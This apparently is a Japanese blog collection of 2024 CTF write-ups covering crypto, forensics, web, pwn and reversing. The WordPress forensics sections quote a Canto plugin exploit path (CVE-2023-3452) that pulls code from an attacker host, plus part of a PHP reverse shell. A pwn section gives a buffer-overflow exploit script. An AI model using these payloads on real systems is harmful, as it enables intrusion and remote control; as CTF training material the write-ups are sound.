  = 142753777417406810805072041989903711850167885799807517849278708651169396646976000865163313860950535511049508198208303464027395072922054180911222963584032655378369512823722235617080276310818723368812500206379762931650041566049091705857347865200497666530004056146401044724048482323535857808462375833056005919409
  * 161374151633887880567835370500866534479212949279686527346042474641768055324964720409600075821784325443977565511087794614167314642076253331252646071422351727785801273964216434051992658005517462757428567737089311219316483995316413254806332369908230656600378302043303884997949582553596892625743238461113701189423

c = P * J * inverse(P)となるJ(=ジョルダン標準形), Pを求める。modulo p だとジョルダン標準形が見つからないので、modulo q で計算する。

g * g * ... * g = P * J * inverse(P)
        ↓
(inverse(P) * g * P) ** e = J

Jの1行1列目と2行2列目を復号すると、inverse(P) * g * P = Qの値がわかる。この場合以下の式で表せ、gが算出できる。

g = P * Q * inverse(P)

qは1024ビットなので、フラグの長さの1/4より極度に大きいと推測できる。このままgの各要素を文字列にして結合すればフラグになりそう。

#!/usr/bin/sage
from Crypto.Util.number import long_to_bytes

with open('chall.txt', 'r') as f:
    params = f.read().splitlines()

e = 65537
n = int(params[0].split(' ')[-1])
c00 = int(params[2])
c01 = int(params[3])
c10 = int(params[4])
c11 = int(params[5])

p = 142753777417406810805072041989903711850167885799807517849278708651169396646976000865163313860950535511049508198208303464027395072922054180911222963584032655378369512823722235617080276310818723368812500206379762931650041566049091705857347865200497666530004056146401044724048482323535857808462375833056005919409
q = 161374151633887880567835370500866534479212949279686527346042474641768055324964720409600075821784325443977565511087794614167314642076253331252646071422351727785801273964216434051992658005517462757428567737089311219316483995316413254806332369908230656600378302043303884997949582553596892625743238461113701189423
assert n == p * q

cq = matrix(Zmod(q), [[c00, c01], [c10, c11]])

J, P = cq.jordan_form(transformation=True)
phi = q - 1
d = pow(e, -1, phi)
j00 = J[0][0]
j11 = J[1][1]
Q00 = pow(j00, d, q)
Q11 = pow(j11, d, q)
Q = matrix(Zmod(q), [[Q00, 0], [0, Q11]])

g = P * Q * ~P

flag = ''
for i in range(2):
    for j in range(2):
        flag += long_to_bytes(int(g[i][j])).decode()
print(flag)
BITSCTF{63N3r41_11N34r_6r0UP_C4ND0_4NY7H1N6}

Ugra CTF Quals 2024 Writeup

この大会は2024/2/10 16:00(JST)~2024/2/12 4:00(JST)に開催されました。
今回もチームで参戦。結果は50点で279チーム中252位でした。
自分で解けた問題をWriteupとして書いておきます。

Google Dyslexia (MISC 50)

QWERTY配列で打鍵したつもりが、DVORAK配列で打鍵されたもののようだ。同じキーでQWERTYキーとして表記すればよい。

DVORAK: gipa{c{aemcy{ydco{co{jgpo.e{g24ep7rud't8
QWERTY: ugra_i_admit_this_is_cursed_u24dr7ofhqk8
ugra_i_admit_this_is_cursed_u24dr7ofhqk8

0xL4ugh CTF 2024 Writeup

この大会は2024/2/9 22:00(JST)~2024/2/10 22:00(JST)に開催されました。
今回もチームで参戦。結果は260点で614チーム中128位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。

0xL4ugh{Welc0m3_To_0xL4ughCTF_2024}

WordPress - 1 (Forensics)

問題は、以下のようになっている。

Q1. 2 人の攻撃者が私たちの環境に侵入しようとしていました。被害者の IP アドレスは何ですか? 最初の攻撃者の IP アドレスは何ですか?
Q2. 私たちの環境にデプロイされている Apache サーバーと PHP サーバーのバージョンは何ですか?

pcapが添付されている。まずhttpでフィルタリングする。
被害者のIPアドレスはHTTPでアクセスされている192.168.204.128。最初の攻撃者のIPアドレスはHEADメソッドでアクセスしている192.168.204.132。
No.25のパケットに、ApachePHPのバージョンが含まれている。

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
0xL4ugh{192.168.204.128_192.168.204.132_apache2.4.58_php8.2.12}

WordPress - 2 (Forensics)

問題は、以下のようになっている。

Q1.攻撃者は列挙中に、サイト上のユーザーを特定しようとしました。
攻撃者が列挙したすべてのユーザーをリストしてください。 アルファベット順に並べ替え":" で区切ってください。
Q2.列挙後、すべてのユーザーに対してブルート フォース攻撃が開始されました。攻撃者はアカウントの 1 つへのアクセスに成功しました。
そのアカウントのユーザー名とパスワードは何ですか?また、ブルート フォース攻撃に使用されたページの名前は何ですか?

usersで検索すると、No.88288で以下のパスにアクセスしている。

/wordpress/?author=1

以下のパスにリダイレクトされる。

/wordpress/author/a1l4m/

/wordpress/?author=2 は /wordpress/author/not7amoksha/にリダイレクトされる。
/wordpress/?author=3 にアクセスすると、demomorganのページになっている。
サイト上のユーザは以下の3名であるとわかる。

a1l4m, not7amoksha, demomorgan

No.136383から以下のページを使ってブルートフォースしている。

/wordpress/xmlrpc.php

No.147339で以下をPOSTしたときに成功しているようだ。

<?xml version" = ""1.0" ?>
<methodCall>
  <methodName>wp.getUsersBlogs</methodName>
  <params>
    <param>
      <value>
        <string>demomorgan</string>
      </value>
    </param>
    <param>
      <value>
        <string>demomorgan</string>
      </value>
    </param>
  </params>
</methodCall>
0xL4ugh{a1l4m:demomorgan:not7amoksha_demomorgan:demomorgan_xmlrpc.php}

WordPress - 3 (Forensics)

問題は、以下のようになっている。

Q1.攻撃者が攻撃に使用したツールの名前をアルファベット順で並べてください。
Q2.攻撃者が悪用した脆弱なプラグインが存在しました。
攻撃者の C2 サーバーは何ですか?またプラグインの名前は何ですか?
Q3.脆弱なプラグインのバージョンは何ですか?また、そのプラグインに関連付けられている CVE 番号は何ですか?

最初の方では、攻撃者からのアクセスのUser-Agentを見ると以下のようになっている。

WPScan v3.8.25 (https://wpscan.com/wordpress-security-scanner)

また最後の方にURLのパスにSQLインジェクションしているようなパスがあり、User-Agentを見ると以下のようになっている。

sqlmap/1.7.12#stable (https://sqlmap.org)

No.145191のパケットで、リバースシェルを取得しているようなパスがある。

/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000

レスポンスには以下のようなメッセージがある。

Successfully opened reverse shell to 172.26.211.155:1234\n

C2サーバは172.26.211.155。エクスプロイトを調べたら、以下のページが見つかった。

https://github.com/leoanggal1/CVE-2023-3452-PoC

対象となるプラグインのバージョンは3.0.4以下。

0xL4ugh{sqlmap_wpscan_172.26.211.155_Canto_3.0.4_CVE-2023-3452}

WordPress - 4 (Forensics)

問題は、以下のようになっている。

Q1.攻撃者がエクスプロイトをテストした関数の名前は何ですか?
攻撃者のサーバーの名前とバージョンは何ですか?
Q2.攻撃中にログオンしていたユーザー名 (ドメインを含む) は何ですか?
Q3.攻撃者はリバース シェルをアップロードしようとしました。 IP とポートを並べてください。
リバースシェルのプロセス中に障害となったコマンドは何ですか?

最初にC2サーバへのアクセスがあったのはNo.137044のパケット。そのレスポンスは以下のようになっている。

Server: SimpleHTTP/0.6 Python/3.10.12
Data: <?php phpinfo(); ?>

No.138545のパケットに/wordpress/wp-content/plugins/canto/includes/lib/download.php?wp_abspath=http://172.26.211.155:8000&cmd=whoamiへのアクセスがあり、そのレスポンスは以下のようになっている。

desktop-2r3ar22\administrator

No.145200のパケットにリバースシェルが含まれている。

<?php


set_time_limit (0);
$VERSION = "1.0";
$ip = '172.26.211.155';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

    :

?>

tcp.port==1234でフィルタリングする。あまり通信はないが、以下のメッセージが見つかる。

'uname' is not recognized as an internal or external command,
operable program or batch file.
0xL4ugh{phpinfo()_SimpleHTTP/0.6_desktop-2r3ar22\administrator_172.26.211.155:1234_uname}

RSA-GCD (Crypto)

暗号化処理の概要は以下の通り。

・m: フラグの数値化したもの
・n = p * q (p, q不明)
・power1: 128ビット素数
・power2: 128ビット素数
・out1 = pow((p+5*q), power1, n)
・out2 = pow((2*p-3*q), power2, n)
・eq1: out1の次の素数
・c = pow(m, eq1, n)
・power1, power2, eq1, out2, c, nを出力

以下のように式を変形できる。

out1 = pow((p+5*q), power1, n)
     = (pow(p, power1, n) + pow(5, power1, n) * pow(q, power1, n)) % n
out2 = pow((2*p-3*q), power2, n)
     = (pow(2, power2, n) * pow(p, power2, n) - pow(3, power2, n) * pow(q, power2, n)) % n

さらにpower3 = power1 * power2とすると、以下が言える。

pow(out1, power2, n)
= pow((p+5*q), power3, n)
= (pow(p, power3, n) + pow(5, power3, n) * pow(q, power3, n)) % n
pow(out2, power1, n)
= pow((2*p-3*q), power3, n)
= (pow(2, power3, n) * pow(p, power3, n) - pow(3, power3, n) * pow(q, power3, n)) % n

pow(p, power3, n)とpow(q, power3, n)の連立方程式となる。なお、hintをout1とeq1の差であると推測して計算する。
pow(p, power3, n)とnのGCDはpになるので、pを算出できる。あとは通常通り復号すれば、フラグになる。

#!/usr/bin/env python3
from Crypto.Util.number import *

with open('chall2.txt', 'r') as f:
    params = f.read().splitlines()

power1 = int(params[0].split('=')[1])
power2 = int(params[1].split('=')[1])
hint = int(params[2].split('=')[1])
eq1 = int(params[3].split('=')[1])
out2 = int(params[4].split('=')[1])
c = int(params[5].split('=')[1])
n = int(params[6].split('=')[1])

out1 = eq1 - hint
power3 = power1 * power2
C1 = pow(out1, power2, n)
C2 = pow(out2, power1, n)
C = matrix(Zmod(n), [[C1], [C2]])
M = matrix(Zmod(n), [[1, pow(5, power3, n)], [pow(2, power3, n), - pow(3, power3, n)]])
P = M.inverse() * C

p = GCD(P[0][0], n)
q = GCD(P[1][0], n)
assert p * q == n

phi = (p - 1) * (q - 1)
d = int(pow(eq1, -1, phi))
m = pow(c, d, n)
flag= long_to_bytes(m).decode()
print(flag)
0xL4ugh{you_know_how_factor_N!}

DiceCTF 2024 Quals Writeup

この大会は2024/2/3 6:00(JST)~2024/2/5 6:00(JST)に開催されました。
今回もチームで参戦。結果は332点で1040チーム中175位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

dice{flag!}

dicedicegoose (web)

HTMLソースを見ると、スクリプトに以下の部分がある。

    :
    :

  let player = [0, 1];
  let goose = [9, 9];

  let walls = [];
  for (let i = 0; i < 9; i++) {
    walls.push([i, 2]);
  }

  let history = [];
  history.push([player, goose]);

    :
    :

  function encode(history) {
    const data = new Uint8Array(history.length * 4);

    let idx = 0;
    for (const part of history) {
      data[idx++] = part[0][0];
      data[idx++] = part[0][1];
      data[idx++] = part[1][0];
      data[idx++] = part[1][1];
    }

    let prev = String.fromCharCode.apply(null, data);
    let ret = btoa(prev);
    return ret;
  }

  function win(history) {
    const code = encode(history) + ";" + prompt("Name?");

    const saveURL = location.origin + "?code=" + code;
    displaywrapper.classList.remove("hidden");

    const score = history.length;

    display.children[1].innerHTML = "Your score was: <b>" + score + "</b>";
    display.children[2].href =
      "https://twitter.com/intent/tweet?text=" +
      encodeURIComponent(
        "Can you beat my score of " + score + " in Dice Dice Goose?",
      ) +
      "&url=" +
      encodeURIComponent(saveURL);

    if (score === 9) log("flag: dice{pr0_duck_gam3r_" + encode(history) + "}");
  }

    :
    :

historyにplayerとgooseの座標の位置が入る。スコアが9になるためには8個動かして隣になるしかない。このパターンには1パターンの移動しかない。
経路は以下のようになる。

[[0, 1], [9, 9]]
[[1, 1], [9, 8]]
[[2, 1], [9, 7]]
[[3, 1], [9, 6]]
[[4, 1], [9, 5]]
[[5, 1], [9, 4]]
[[6, 1], [9, 3]]
[[7, 1], [9, 2]]
[[8, 1], [9, 1]]

encode(history)は経路の数値をbytes文字として連結する。上記の経路の場合、以下のようになる。

\x00\x01\x09\x09...\x08\x01\x09\x01

あとは"dice{pr0_duck_gam3r_"にこのbytes文字列のbase64エンコードしたものを結合し、"}"で閉じればよい。

#!/usr/bin/env python3
from base64 import *

route = [
    [[0, 1], [9, 9]],
    [[1, 1], [9, 8]],
    [[2, 1], [9, 7]],
    [[3, 1], [9, 6]],
    [[4, 1], [9, 5]],
    [[5, 1], [9, 4]],
    [[6, 1], [9, 3]],
    [[7, 1], [9, 2]],
    [[8, 1], [9, 1]]
]

flag1 = 'dice{pr0_duck_gam3r_'

bytes_flag2 = b''
for i in range(len(route)):
    bytes_flag2 += bytes([route[i][0][0]])
    bytes_flag2 += bytes([route[i][0][1]])
    bytes_flag2 += bytes([route[i][1][0]])
    bytes_flag2 += bytes([route[i][1][1]])

flag2 = b64encode(bytes_flag2).decode()

flag = flag1 + flag2 + '}'
print(flag)
dice{pr0_duck_gam3r_AAEJCQEBCQgCAQkHAwEJBgQBCQUFAQkEBgEJAwcBCQIIAQkB}

winter (crypto)

サーバの処理概要は以下の通り。

・wots = Wots.keygen()
 ・wots.sk: 32個のランダム32バイト文字列の配列
 ・wots.vk: skの各値xに対して256回sha256した値の配列
・msg1: 入力→hexデコード
・sig1 = wots.sign(msg1)
 ・m: msgのsha256
 ・sig = b''.join([self.hash(x, 256 - n) for x, n in zip(self.sk, m)])
 ・sigを返却
・sig1を16進数表記で表示
・msg2: 入力→hexデコード
・msg1とmsg2が同じ場合、終了
・sig2: 入力→hexデコード
・wots.verify(msg2, sig2)がTrueの場合、フラグを表示

sha256の各バイト文字ができるだけ256に近い値にできるmsg1を探す。sha256の各バイト文字列がそれより小さい値にできたら、その差分だけsha256をかければsig2を算出できる。

#!/usr/bin/env python3
import socket
from hashlib import sha256

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

hashes = []
found1 = False
for i in range(100000):
    h = sha256(str(i).encode()).digest()
    for j in range(len(hashes)):
        found2 = True
        for idx in range(32):
            if h[idx] > hashes[j][idx]:
                found2 = False
                break
        if found2:
            found1 = True
            msg1 = str(j).encode()
            msg2 = str(i).encode()
            break
    if found1:
        break

    hashes.append(h)

h_msg1 = sha256(msg1).digest()
h_msg2 = sha256(msg2).digest()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('mc.ax', 31001))

data = recvuntil(s, b': ')
print(data + msg1.hex())
s.sendall(msg1.hex().encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
sig1 = bytes.fromhex(data.split(': ')[1])

data = recvuntil(s, b': ')
print(data + msg2.hex())
s.sendall(msg2.hex().encode() + b'\n')

sig2 = b''
for i in range(len(sig1) // 32):
    sig = sig1[i*32:i*32+32]
    count = h_msg1[i] - h_msg2[i]
    for j in range(count):
        sig = sha256(sig).digest()
    sig2 += sig

data = recvuntil(s, b': ')
print(data + sig2.hex())
s.sendall(sig2.hex().encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

give me a message (hex): 3437313835
here is the signature (hex): 74072609ad62d9a6494a96275f7d684596bb6cd284a95133af3bb111f4378332679d8f2eb2e4d53b5a25eb11ddbfe7d2a5c9aa746b858aeadae75979f8635668549ae04d56a057ed2e3b1cffff4b1b7692aed0958a9efe639ef8d1af011bbb60f7175b9c62e901853e19ad783deb0309dfa01f0f9cad5978bee117b5c810d8dcfda6a6fcd33d9fd7443054caea867337a1acc2048fd65ae88ea381e6fb43fa637efc019c909605933d963496275bfb95aa4124dd8c6dca8ca7d9bddac3d1b874b088378e757c97a4e948f1fd37b4d9c545ba2ce47bff318ee0e1258d6da61abd51f464f158a85f5c7c080cb7489edc8dedc31a5c251ec325dc410415e1b50a46d6272c86325bc20a87d37db93d471d1f3e3ab7237dadd9e04c001b4a171b12a37434ef8db92a63f886056db93e336260d36c3e5dea86f02611519ef35e370e6e3b9fc8a541d71a1b6e62e4ebd8a2e7c040bc1a07f3eecd095cf1476f3cddc6167b833838f383b629e317b373127201d105ce49dfd065aaa2d79dad6f0b005b8a0ba6f7bf758dd758971de4ec91e57fe896513d14ef47bf164433814f3da2d472997c790dad4fe8b292f8f327d870778042ac32dd95e661e64e6c4b20b549b4fd56e55094fd69217060f907c4aa10eb18fccb0f1279d4a48c21aedc7074dc9ec7324f3a7f2f92cd0975bc394f1a1b12d18cfdafb1254ecf8b524ed980b87f2e75f2c7e54f8990920c5f56d2bad00baf4469af06d5dd60a87780bd9e01e48c06ae6704b1e86e8bdabf9c355475bd0324361f1eb90504dd006bc4535d5bf146e6e699f55d95a504ebf6784e47c068aeb916710fc2c7614a76ad127d93e150c3f7471698803148fc5e3da77d9ebdc97ee17aa9d78874edfd7e938b2091395dd7e648505e415306bd0e5c8977d740e7e32bfdbe5c6d6328055390f98d78b89a67cdc34f123c9c981168a29f2da349bc8430f01f5ecf0af410476806e379e81aa6386c3c92bda977c4f3fe588419a606b20a14fda9e55376354caaedccaf920c7d2fd52d411420bd8523d9a41c63279c0ac1def9ff39f660fa1e91cd5c26bc933232771898a0ec86f0936e69b9497a9c1911e27302c2f1685c48a0c5c9944d004ebe362c5ed4bc938e997cd9bde892c6671675ff407a50bfbe0306cf87b2faebbba0338244fc42214e20513a9f2bb71df8f6bf1309de7b86680568b1360141f37eb7e5a51b8964a32628b2d6b9fb2b78a63de925ef9aec161f54c2d4442ad9c3aee8fd4bd3fbe30b80fea242de0db55d5c33020a74e3440893c9e4b174659d313c7ae09248a1e55d8acc64aea3d12802720b471650f0c68efffa998bbeb21e3ef1908ea6c210289f5a32270cb9ae6953c4512f3293e6a76122f4908964e3f240708fe4285aad09fdaec3f4e4114c5b4c1e33f2be953e04cc7872c4766e1258689c37c4
give me a new message (hex): 3535373536
give me the signature (hex): 1a07e3c432ee75be1c1b815639823120962d55c528e5d86cb35d3a4c6ca95800cc6e6a09d8a2114342199a9fc254355cc7285dbd3fa70d1c206f096b2aae1dcd4328a3541b1ba39f3a2438df003721ad0bce86e950611d2b96f6e7fffc81ac0d675fcdb611f4404121ea5069df04261de15533d67106baa31e14d735a3185aa237d52564b9ad882b2c29515c4502ef455b7803a8c0da2095380ee19dd542269696ce11d007aed1d243f5a61d13a2155a46af3932af1236d3e3ad3a6c7cf2f36c9e5672183d5fd16775b3d3ffa5198fa7c908b10eef57df801288556f389071bd6505b4c57192d14ca2826271d5ffec158c6ed3fb363403cfe8bf376f5609df2822155339ea1f720d93192b8c2b0f7582d961e5b2e5f1ad1a3d25a17c116a4b5d8a04dd02511c8c212c88b3f52efb01d6a998eb2a81cf7ec88c336f734edf640efed435278dee1e830ab2815a13c6efecf93fcac2a2b12c7fcd8d4163be6edc0cd9d8f51f0149c709f9a9756205dccb98c7851422125c57ddd05419e845ab82cb6d75dcbbc15bb8ba938c53a72349d24aaab06ad6038ef22004cec8fb97aadd5e78af530cc1c56d172c7c5261995a27bd80f82ebe5ca5f3d0369b7f111efb5ebbfa0c2b23c6cf14642938baa90a903fc072af1c9441b1c269134d573d5da3ffadff6b6e234fd794e4c446bde3b0c6b9ada2a4aa7f18ff36748d6aa9852448bcc26122f199919876b7056266f48f8488e1226c53295937fcb293b895fb9ace2364705e7d45c68ed4e11b1e3c762431858ac902d7a3a4bc0c60b69c12ff0e1ce12b602bfc7023b00fc753d8248a9a38102a0f86ea0f9f856bcb6e3498d62df2ba40944cedb65bca7607b965655d7e8a055a51466953594344e58a1d98881732ab7faf99f9106b2471f1b8c32e33420a18a4b5635a3de40336a9a2b4b127c4919f8a21eb861278d30e7bfa8ccb1132a503bd805c88516ce85a3f2bef89b78adce5e9a38a227d097b8fd7b560a48ed074d306efa5d16ae8c6e2ce5133eb2cdff12d4e50d2c1632adc49fde9018e719972af47ff20824da07eed6446f8e3df8599b5faf19bf81fa667181df0e489254e55f82a7155c69275a153e2b01cc39ba94c30a472d23b1bd3285fb863e05b6a11fe3130501aa179acdaa6a6b20ea4292a1960275e590eaa45f6649e4badcbe7bc1009fe235f31c4150780ec25aa7a9a295de4156ebee4de0cb7e5fde6d4434aeb32c0762ec1863151175dbff1ff831b5b430c077afadfe9b453feb51c0c224234009a726d106e188831c1b9299685f0e0c053d5a9754812187201870af7fd791fdf4a1d90b188b0a3c9151cb30b5bb61b4d42ac6aa37917cf9a66ed7b0aa59a8b3b581fc400b73aa178448ebff23749c84e6fe98b3f4979c5b47e7b9ea711134a281a5ca2b363bb9d0653731ce7660347db57ee
dice{according_to_geeksforgeeks}
dice{according_to_geeksforgeeks}

survey (misc)

アンケートに答えたら、以下のように表示された。

Here's the &#128681;: https://static.dicega.ng/content/survey-ufskhigtw7meybvo.txt

ここにアクセスしたら、フラグが表示された。

dice{thanks_for_playing_dicectf!!!!!}

Bearcat CTF 2024 Writeup

この大会は2024/2/4 4:00(JST)~2024/2/5 4:00(JST)に開催されました。
今回もチームで参戦。結果は6300点でした。順位や参加者数は不明です。
自分で解けた問題をWriteupとして書いておきます。

Parisian Adventure (OSINT 400)

写真の場所をGoogle mapでコードと合わせて答える問題。

$ exiftool is_it_paris.png 
ExifTool Version Number         : 12.57
File Name                       : is_it_paris.png
Directory                       : .
File Size                       : 537 kB
File Modification Date/Time     : 2024:02:04 08:50:58+09:00
File Access Date/Time           : 2024:02:04 08:59:42+09:00
File Inode Change Date/Time     : 2024:02:04 08:50:58+09:00
File Permissions                : -rwxrwx---
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 908
Image Height                    : 375
Bit Depth                       : 8
        :
        :
Background Color                : 255 255 255
Pixels Per Unit X               : 4724
Pixels Per Unit Y               : 4724
Pixel Units                     : meters
Modify Date                     : 2024:01:15 20:25:29
Software                        : N/A
Image Size                      : 908x375
Megapixels                      : 0.341
GPS Latitude                    : 22 deg 8' 39.00" N
GPS Longitude                   : 113 deg 33' 47.00" E
GPS Position                    : 22 deg 8' 39.00" N, 113 deg 33' 47.00" E

Google mapで「22°8'39.00"N 113°33'47.00"E」を調べると、以下のコードと場所になっている。

4HV7+M67 Cotai, Macao
BCCTF{4HV7+M67 Cotai, Macao}

Password Buffer (pwn 700)

Ghidraでデコンパイルする。

bool main(void)

{
  int iVar1;
  time_t tVar2;
  FILE *__stream;
  long in_FS_OFFSET;
  char local_78 [104];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Welcome to my password comparison tool!");
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  iVar1 = check_auth();
  if (iVar1 != 0) {
    puts("Access denied");
  }
  else {
    __stream = fopen("flag.txt","r");
    fgets(local_78,100,__stream);
    printf("The flag is: %s",local_78);
    fclose(__stream);
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1 != 0;
}

void check_auth(void)

{
  int iVar1;
  long in_FS_OFFSET;
  int local_4c;
  char local_48 [32];
  char local_28 [17];
  undefined local_17;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_4c = 0; local_4c < 0x11; local_4c = local_4c + 1) {
    iVar1 = rand();
    local_28[local_4c] = (char)iVar1 + (char)(iVar1 / 0x19) * -0x19 + 'a';
  }
  local_17 = 0;
  printf("Please enter your password: ");
  fflush(stdout);
  gets(local_48);
  printf("The password was \"%s\"\n",local_28);
  strcmp(local_48,local_28);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

パスワード入力時にBOFでlocal_28を書き込み、同じ文字列になるようにする。

#!/usr/bin/env python3
from pwn import *

p = remote('chal.bearcatctf.io', 32927)

password = b'pass'
payload = password + b'\x00' * (32 - 4) + password + b'\x00'

data = p.recvuntil(b': ').decode()
print(data, end='')
print(payload)
p.sendline(payload)
data = p.recvuntil(b'}').decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to chal.bearcatctf.io on port 32927: Done
Welcome to my password comparison tool!
Please enter your password: b'pass\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00pass\x00'
The password was "pass"
The flag is: BCCTF{K1nDa_WI1d_p4w0Rd_Th3r3_601fd5b4}
[*] Closed connection to chal.bearcatctf.io port 32927
BCCTF{K1nDa_WI1d_p4w0Rd_Th3r3_601fd5b4}

Simple Mystery (rev 300)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  int iVar1;
  time_t tVar2;
  int local_c;
  
  tVar2 = time((time_t *)0x0);
  srand((uint)tVar2);
  setup();
  for (local_c = 0; local_c < 0x12; local_c = local_c + 1) {
    iVar1 = what_mystery(0,0x25);
    putchar((int)(char)flag[iVar1 % 0x25]);
  }
  puts("\n\nThat is all we can really get you, good luck.");
  return 0;
}

void abcd(void)

{
  memcpy(flag + 0x14,"4se_4_All_ThI2gS}",0x12);
  return;
}

                             flag[20]                                        XREF[2,2]:   Entry Point(*), main:004012a6(*), 
                             flag[37]                                                     abcd:004011f5(*), 
                             flag                                                         setup:00401206(W)  
        00404060 42 43 43        undefine
                 54 46 7b 
                 53 6f 4c 
           00404060 42              undefined142h                     [0]                               XREF[2]:     Entry Point(*), main:004012a6(*)  
           00404061 43              undefined143h                     [1]
           00404062 43              undefined143h                     [2]
           00404063 54              undefined154h                     [3]
           00404064 46              undefined146h                     [4]
           00404065 7b              undefined17Bh                     [5]
           00404066 53              undefined153h                     [6]
           00404067 6f              undefined16Fh                     [7]
           00404068 4c              undefined14Ch                     [8]
           00404069 76              undefined176h                     [9]
           0040406a 31              undefined131h                     [10]
           0040406b 6e              undefined16Eh                     [11]
           0040406c 36              undefined136h                     [12]
           0040406d 5f              undefined15Fh                     [13]
           0040406e 54              undefined154h                     [14]
           0040406f 48              undefined148h                     [15]
           00404070 33              undefined133h                     [16]
           00404071 5f              undefined15Fh                     [17]
           00404072 43              undefined143h                     [18]
           00404073 00              undefined100h                     [19]
           00404074 00              undefined100h                     [20]                              XREF[1]:     abcd:004011f5(*)  
           00404075 00              undefined100h                     [21]
           00404076 00              undefined100h                     [22]
           00404077 00              undefined100h                     [23]
           00404078 00              undefined100h                     [24]
           00404079 00              undefined100h                     [25]
           0040407a 00              undefined100h                     [26]
           0040407b 00              undefined100h                     [27]
           0040407c 00              undefined100h                     [28]
           0040407d 00              undefined100h                     [29]
           0040407e 00              undefined100h                     [30]
           0040407f 00              undefined100h                     [31]
           00404080 00              undefined100h                     [32]
           00404081 00              undefined100h                     [33]
           00404082 00              undefined100h                     [34]
           00404083 00              undefined100h                     [35]
           00404084 00              undefined100h                     [36]
           00404085 00              undefined100h                     [37]                              XREF[1]:     setup:00401206(W)  

flagのコードを文字にし、"4se_4_All_ThI2gS}"を結合する。

#!/usr/bin/env python3
codes = [0x42, 0x43, 0x43, 0x54, 0x46, 0x7b, 0x53, 0x6f, 0x4c, 0x76, 0x31, 0x6e, 0x36, 0x5f, 0x54, 0x48, 0x33, 0x5f, 0x43]

flag = ''
for code in codes:
    flag += chr(code)

flag += '4se_4_All_ThI2gS}'
print(flag)
BCCTF{SoLv1n6_TH3_C4se_4_All_ThI2gS}

toll_bridge (rev 700)

Ghidraでデコンパイルする。

void main(void)

{
  int iVar1;
  FILE *__stream;
  long in_FS_OFFSET;
  byte local_308;
  byte local_307;
  byte local_306;
  undefined local_208 [504];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  puts("you approach a bridge with a toll gate.");
  puts("toll booth guy: \'GIMME YOUR TOLL\'");
  printf("Enter in your wallet:\n\n> ");
  fflush(stdout);
  memset(&local_308,0,0x100);
  __isoc99_scanf("%[^\n]",&local_308);
  iVar1 = check(&local_308);
  if (iVar1 == 0) {
    iVar1 = strcmp("go_away_toll_man",(char *)&local_308);
    if (iVar1 == 0) {
      puts("you told the toll booth guy to go away!");
      puts("the toll booth guy shot and killed you with his laser eyes for being rude");
    }
    else if ((byte)(local_306 | local_308 | local_307) == 0) {
      puts("The bridge collapses under the weight of your args");
      puts("You fall to your death");
    }
    else {
      puts("toll booth guy: \'AGH! NO MONEY NO CROSSING\'");
      puts("The toll booth guy drop kicks you off the bridge and you die");
    }
  }
  else {
    puts("toll bridge guy accepts your toll");
    puts("you cross the bridge and find a stone with a flag in it");
    __isoc99_fscanf(__stream,"%[^\n]",local_208);
    printf("the flag reads: %s\n",local_208);
  }
  fclose(__stream);
                    /* WARNING: Subroutine does not return */
  exit(0);
}

int check(char *param_1)

{
  int iVar1;
  int iVar2;
  long in_FS_OFFSET;
  uint local_22c;
  char local_228 [256];
  char local_128 [4];
  undefined local_124;
  long local_20;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  strncpy(local_228,param_1,3);
  for (local_22c = 0; local_22c < 3; local_22c = local_22c + 1) {
    local_128[local_22c] = param_1[local_22c + 3];
  }
  local_124 = 0;
  iVar1 = bribe(local_228);
  iVar2 = toll(local_128);
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar2 + iVar1;
}

bool bribe(char *param_1)

{
  bool bVar1;
  
  if ((int)param_1[2] + (int)param_1[1] == 0) {
    bVar1 = false;
  }
  else if (((*param_1 == '\0') || (param_1[1] == '\0')) || (param_1[2] == '\0')) {
    bVar1 = false;
  }
  else {
    bVar1 = (int)param_1[2] + ((int)*param_1 - (int)param_1[1]) == 0x30;
  }
  return bVar1;
}

bribe関数でtrueを返すようにすればフラグが表示される。1の位に0を指定し、10の位と100の位に同じ数値を指定すればよい。例えば110を指定する。

$ nc chal.bearcatctf.io 32610
you approach a bridge with a toll gate.
toll booth guy: 'GIMME YOUR TOLL'
Enter in your wallet:

> 110
toll bridge guy accepts your toll
you cross the bridge and find a stone with a flag in it
the flag reads: BCCTF{GoTta_PaY_Th4t_tR01L_t0L1_1c0457c5}
BCCTF{GoTta_PaY_Th4t_tR01L_t0L1_1c0457c5}

No Humans (web 500)

